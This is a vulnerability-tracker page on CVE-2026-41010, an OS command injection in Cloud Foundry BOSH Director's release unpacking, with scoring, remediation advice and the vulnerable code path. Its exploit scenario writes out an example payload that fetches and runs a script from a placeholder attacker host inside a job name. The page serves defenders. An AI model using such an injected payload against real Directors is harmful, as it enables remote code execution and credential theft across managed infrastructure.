Skip to main content

BOSH Director EUVDEUVD-2026-34198

| CVE-2026-41010 HIGH
OS Command Injection (CWE-78)
2026-06-04 vmware GHSA-gmvv-r68v-m7x9
8.7
CVSS 4.0 · Vendor: vmware
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain release-upload UAA credentials
  2. Delivery
    Craft release.MF with shell metacharacters in jobs[].name
  3. Exploit
    Upload malicious release tarball to Director
  4. Execution
    ReleaseJob#unpack interpolates name into tar sh command
  5. Persist
    /bin/sh executes injected payload as Director
  6. Impact
    Steal IaaS/UAA credentials and pivot to managed VMs

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) authenticated access to the BOSH Director with permission to upload a release (i.e., a UAA principal holding release-upload scope, per the CVSS PR:H rating), and (2) the ability to deliver a tarball whose release.MF jobs: array contains a name value with shell metacharacters such as $(), backticks, ;, or |. No user interaction by another operator is needed (UI:N), and no special non-default Director configuration is required - the vulnerable ReleaseJob#unpack code path is reached during normal release ingestion. Practical limits on exploitation are the privileged role required for release upload and AC:H/AT:P, which reflect that the attacker must produce a syntactically valid release manifest that survives upstream parsing before reaching the unsafe sh invocation.

Impact

CVSS 4.0 scores this 8.7 with vector AV:L/AC:H/AT:P/PR:H/UI:N - meaning the attack vector is rated Local, attack complexity High, an attack requirement is present, and high privileges are required, but impact across both the vulnerable system and subsequent (downstream) systems is High on confidentiality, integrity, and availability. The PR:H rating reflects that uploading a release to a BOSH Director normally requires an authenticated operator/CI account with release-upload rights, which materially narrows the threat population to insiders, compromised CI pipelines, or stolen UAA credentials. The AV:L rating is debatable in practice because release uploads typically traverse the Director's network API; defenders should treat the realistic vector as network-reachable-to-anyone-with-upload-rights and verify with the Cloud Foundry advisory. There is no EPSS score, KEV listing, or public POC referenced in the inputs, so this should be prioritized as a high-impact insider/supply-chain risk rather than a mass-exploitation emergency - but because successful exploitation yields code execution as the Director process (full control of deployments, credentials, and managed VMs), patching should still be expedited.

Exploit ScenarioDerived

An attacker with release-upload privileges (e.g., a compromised CI token or a malicious operator) crafts a release tarball whose release.MF declares a job with a name like foo$(curl http://attacker/x|sh), then uploads it to the BOSH Director. When the Director unpacks the release, ReleaseJob#unpack interpolates the name into a tar shell command, /bin/sh evaluates the $() substitution, and the attacker's payload runs in the Director's security context - granting access to deployment credentials, IaaS API tokens, and the ability to pivot into managed VMs. No public exploit code was identified at time of analysis, but the vulnerable code path is documented in detail in the Cloud Foundry advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 04, 2026

Command injection in Cloud Foundry BOSH Director (all versions prior to v282.1.12) allows an authenticated release uploader to achieve arbitrary OS command execution on the Director by embedding shell metacharacters in the jobs[].name field of a release.MF manifest inside an uploaded tarball. The unsafe value flows from ReleaseJob#unpack into a /bin/sh -c invocation via Bosh::Common::Exec.sh, so payloads such as $(...) or ; are interpreted by the shell during release unpacking. No public exploit identified at time of analysis; no CISA KEV listing, but the Cloud Foundry Foundation has published an advisory and a fixed release.

Earlier versions of this analysis (2)
v2 Jun 04, 2026 - 04:29 cvss changed CVSS 8.7

Command injection in Cloud Foundry BOSH Director versions prior to v282.1.12 allows an attacker who can upload a release tarball to execute arbitrary shell commands on the Director host by embedding shell metacharacters in the jobs[].name field of release.MF. The unsanitized name is interpolated into a /bin/sh -c invocation in ReleaseJob#unpack, granting code execution in the context of the Director process. No public exploit identified at time of analysis, but the vulnerability is reported by VMware with a vendor advisory and an exact fix version.

v1 Jun 04, 2026 - 04:14 CVSS 8.2

Command injection in BOSH Director (Cloud Foundry) prior to v282.1.12 allows an authenticated operator who can upload a release tarball to execute arbitrary shell commands on the Director host. The ReleaseJob#unpack code path interpolates the attacker-controlled jobs[].name field from release.MF directly into a /bin/sh -c invocation of tar, so shell metacharacters in the job name are executed. No public exploit is identified at time of analysis, but the fix is upstream and the issue is high impact (CVSS 8.2, scope change).

RemediationAI

Vendor-released patch: BOSH Director v282.1.12 - upgrade the Director (and any HA/standby Directors) to v282.1.12 or later as documented at https://www.cloudfoundry.org/blog/cve-2026-41010-release-job-name-command-injection-on-bosh-director/. As a compensating control until the upgrade is deployed, tightly restrict who holds bosh.releases.upload (or equivalent UAA scope) and revoke release-upload permissions from shared CI service accounts, since exploitation requires the ability to upload a malicious release tarball; this has the side effect of breaking automated release pipelines that depend on those accounts. Additionally, review and lock down ingress to the Director API so only trusted jumpboxes/CI runners can reach it, and audit recent release uploads for jobs whose name field contains shell metacharacters ($, `, ;, |, &, newline) as an indicator of attempted exploitation.

Affected VersionsENISA

BOSH Director 0 <282.1.12

Affected Packages

euvd bosh_director fix: 282.1.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

BOSH is the Cloud Foundry release-engineering and deployment tool that manages VM/container lifecycles across IaaS providers; the Director is its central orchestration component. The vulnerable code path is in jobs/release_job.rb (ReleaseJob#unpack), which composes job_dir and job_tgz with File.join using @job_meta['name'] read straight from the attacker-controlled release.MF YAML, then interpolates both paths into a tar command passed to Bosh::Common::Exec.sh. That helper executes its argument through Ruby's %x{} backticks (bosh-common/lib/bosh/common/exec.rb:53), which spawn /bin/sh -c and therefore evaluate metacharacters like $(), backticks, ;, and |. FileUtils.mkdir_p tolerates these characters at the filesystem layer, so the malicious value survives long enough to reach the shell. This is a textbook CWE-78 (OS Command Injection) caused by mixing untrusted manifest data with string-built shell commands rather than using an argv-array exec form.

Know when Bosh Director gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vmware) PRIMARY 8.7 HIGH
CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (vmware) · only source for this CVE.

CVSS VectorVendor: vmware

Attack Vector
Local
Attack Complexity
High
Attack Requirements
Present
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Patch available
Jun 04, 2026 - 05:00 EUVD
Analysis Updated
Jun 04, 2026 - 04:29 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 04, 2026 - 04:29 vuln.today
v2 - CVSS changed
CVSS changed
Jun 04, 2026 - 04:22 NVD
8.2 (HIGH) 8.7 (HIGH)

DescriptionCVE.org

ReleaseJob#unpack builds job_dir = File.join(@release_dir, 'jobs', name) and job_tgz = File.join(@release_dir, 'jobs', "#{name}.tgz") where name returns @job_meta['name'], a value taken verbatim from the jobs: array of the attacker-supplied release.MF inside the uploaded tarball. These paths are then interpolated into a shell string: Bosh::Common::Exec.sh("tar -C #{job_dir} -xf #{job_tgz} 2>&1", :on_error => :return). Bosh::Common::Exec.sh executes via %x{#{command}} (bosh-common/lib/bosh/common/exec.rb:53), i.e. /bin/sh -c, so any shell metacharacters in name are interpreted. FileUtils.mkdir_p(job_dir) on line 49 creates the literal directory (no shell) and succeeds even when the name contains $()/;, so execution reaches the sh call.

Affected versions:

  • BOSH Director: all versions prior to v282.1.12 (inclusive); fixed in v282.1.12 or later

Executive ViewAI

Why It Matters

A command injection vulnerability in Cloud Foundry BOSH Director (versions prior to 282.1.12) allows authenticated infrastructure administrators to execute arbitrary operating system commands, potentially compromising every system managed by the platform. This represents a critical insider threat risk for organizations relying on BOSH for deployment automation, where authorized users could escalate privileges to full system control. While no public exploit has been identified, immediate patching is required to eliminate this execution vector.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy